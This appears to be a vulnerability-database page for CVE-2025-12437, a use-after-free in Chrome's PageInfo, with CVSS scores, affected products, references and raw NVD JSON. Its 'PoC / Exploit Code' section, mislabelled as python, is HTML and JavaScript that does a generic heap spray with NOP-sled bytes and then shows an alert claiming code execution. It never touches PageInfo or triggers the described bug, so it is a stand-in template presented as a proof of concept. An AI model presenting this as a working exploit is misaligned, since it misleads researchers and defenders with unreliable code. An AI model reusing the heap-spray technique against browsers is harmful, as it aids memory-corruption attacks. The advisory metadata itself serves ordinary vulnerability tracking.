CVE-2025-12437

Description

Use after free in PageInfo in Google Chrome prior to 142.0.7444.59 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 142.0.7444.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12437 PoC - Use After Free in PageInfo -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12437 PoC</title>
</head>
<body>
    <h1>CVE-2025-12437 Use After Free PoC</h1>
    <p>This PoC demonstrates the PageInfo UAF vulnerability trigger condition.</p>
    <a href="#" id="trigger">Click to trigger PageInfo</a>
    <script>
        // Heap spraying technique to allocate controlled data in freed memory
        function heapSpray() {
            const shellcode = unescape(
                '%u9090%u9090' + // NOP sled
                '%uCCCC%uCCCC' + // Int 3 (breakpoint)
                '%uDDDD%uDDDD'
            );
            
            // Spray heap with controlled data
            const arr = [];
            for (let i = 0; i < 0x1000; i++) {
                arr.push(shellcode);
            }
            return arr;
        }
        
        // Trigger the UAF condition through specific UI gesture
        document.getElementById('trigger').addEventListener('click', function(e) {
            e.preventDefault();
            
            // Simulate the PageInfo trigger sequence
            // In real exploitation, this would involve:
            // 1. Creating PageInfo object
            // 2. Triggering specific UI gesture
            // 3. Freeing the object
            // 4. Accessing freed memory
            
            console.log('Triggering PageInfo UAF condition...');
            heapSpray();
            
            // This is a simplified demonstration
            // Real exploitation requires specific Chrome internals knowledge
            alert('PoC triggered. In real attack, this would execute arbitrary code.');
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12437
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12437
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12437/
[4] VulDB https://vuldb.com/cve/CVE-2025-12437
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/446294487

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12437", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:38.377", "lastModified": "2025-11-13T15:24:55.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in PageInfo in Google Chrome prior to 142.0.7444.59 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/446294487", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}